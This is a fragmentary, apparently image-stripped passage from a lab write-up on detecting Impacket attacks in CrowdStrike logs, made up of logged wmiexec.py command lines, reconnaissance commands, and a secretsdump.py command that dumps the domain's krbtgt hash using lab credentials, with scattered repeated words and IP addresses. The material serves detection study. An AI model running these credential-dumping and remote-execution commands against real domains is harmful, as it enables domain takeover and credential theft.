
svc

wmiexec.py

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1632939229.6971009 2>&1

cmd.exe /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\__1632939229.6971009 2>&1

cmd.exe /Q /c whoami 1> \\127.0.0.1\ADMIN$\__1632939229.6971009 2>&1

cmd.exe /Q /c hostname 1> \\127.0.0.1\ADMIN$\__1632939229.6971009 2>&1

cmd.exe /Q /c secretsdump.py -just-dc-user 'krbtgt' lab.com/svc:passwd@LAB_DC.lab.com 

1> \\127.0.0.1\ADMIN$\__1632939229.6971009 2>&1

krbtgt

wmiexec

secretsdump.py krbtgt

secretsdump.py krbtgt

krbtgt

10.0.0.2

wmiexec.py secretsdump.py

krbtgt

krbtgt

10.0.0.2

krbtgt

krbtgt svc

Administrator

10.0.0.2

Administrator

wmiexec.py

cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1632935152.1 2>&1

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1632935152.1 2>&1

cmd.exe /Q /c quser 1> \\127.0.0.1\ADMIN$\__1632935152.1 2>&1

cmd.exe /Q /c klist 1> \\127.0.0.1\ADMIN$\__1632935152.1 2>&1

administrator

10.0.0.2

Administrator

LAB_DC 10.0.0.3 svc

111.111.111.111

222.222.222.222

33.33.33.33

 

CrowdStrike Logs

#CrowdStrike logs

#CrowdStrike logs


